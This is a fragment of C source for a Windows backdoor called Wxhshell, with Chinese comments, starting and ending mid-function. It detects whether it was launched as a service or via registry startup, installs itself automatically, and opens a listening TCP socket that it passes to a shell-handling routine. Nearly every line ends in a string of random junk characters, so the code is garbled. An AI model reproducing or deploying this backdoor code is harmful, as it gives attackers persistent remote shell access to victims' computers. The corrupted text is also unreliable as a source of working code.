} PROCESS_BASIC_INFORMATION; 2<}^m/}
q[{q3-W
PROCNTQSIP NtQueryInformationProcess; cSCO7L2E18
.58>KBj(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FRI<A8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Ch!]lJA
\UFno$;mA
HANDLE hProcess; h.c<A{[I6c
PROCESS_BASIC_INFORMATION pbi;
r(pp =
:$d3}TjsA+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B`OggdE
if(NULL == hInst ) return 0; [0CoQ5:d?&
b)@%gS\F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3F2> &p|7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f9H;e(D9]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]d?`3{h9LD
flTK
if (!NtQueryInformationProcess) return 0; pc&/'zb
vC~];!^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8r / ]Q
if(!hProcess) return 0; xdp!'1n."g
|RwpIe8~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }Q_IqI[7
yrO'15TB
CloseHandle(hProcess); FT73P0!8.
i_ws*7B<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z<c^<hE:l
if(hProcess==NULL) return 0; /3:R{9S%
9,Zg'4",d
HMODULE hMod; |Q:$G!/
char procName[255]; qgrRH'
unsigned long cbNeeded; I_.(&hMn
x{<WJ|'B
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $7gzu4f
+B^/ =3P
CloseHandle(hProcess); aB<~T[H%h
B, nCx=\S
if(strstr(procName,"services")) return 1; // 以服务启动 gT-'#K2qT
bs
U$mtW
return 0; // 注册表启动 1C+Y|p?KA
} |J2_2a/"
a*hOT_;#
// 主模块 5%D:wS1
int StartWxhshell(LPSTR lpCmdLine) h>= e<H?f
{ bW<_K9"
SOCKET wsl; [CBA Lj5
BOOL val=TRUE; yXS ~PG
int port=0; k\|G%0Jw
struct sockaddr_in door; <aa#OX
Nkn0G_
if(wscfg.ws_autoins) Install(); a#FkoA~M
CyO2Z
port=atoi(lpCmdLine); p%,:U8fOR
ElhTB
if(port<=0) port=wscfg.ws_port; x*}j$n( Oa
{YWj`K
WSADATA data; `48jL3|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sR,]eo<p&
* X\i=
K!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1i#uKKwE
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :s+AIo6
door.sin_family = AF_INET; rxC EOG
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jV8mn{<
door.sin_port = htons(port); +`9
]L]J]4
2<>n8 K
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X}p#9^%N
closesocket(wsl); %Fq"4%
return 1; -[i9a:eRM
} SSycQ4[{o
}
IFZ$Y
if(listen(wsl,2) == INVALID_SOCKET) { xy46].x-
closesocket(wsl); wx -NUTRim
return 1; z %{>d#rw
} Z"'rc.>a
Wxhshell(wsl); [VIdw92
WSACleanup(); <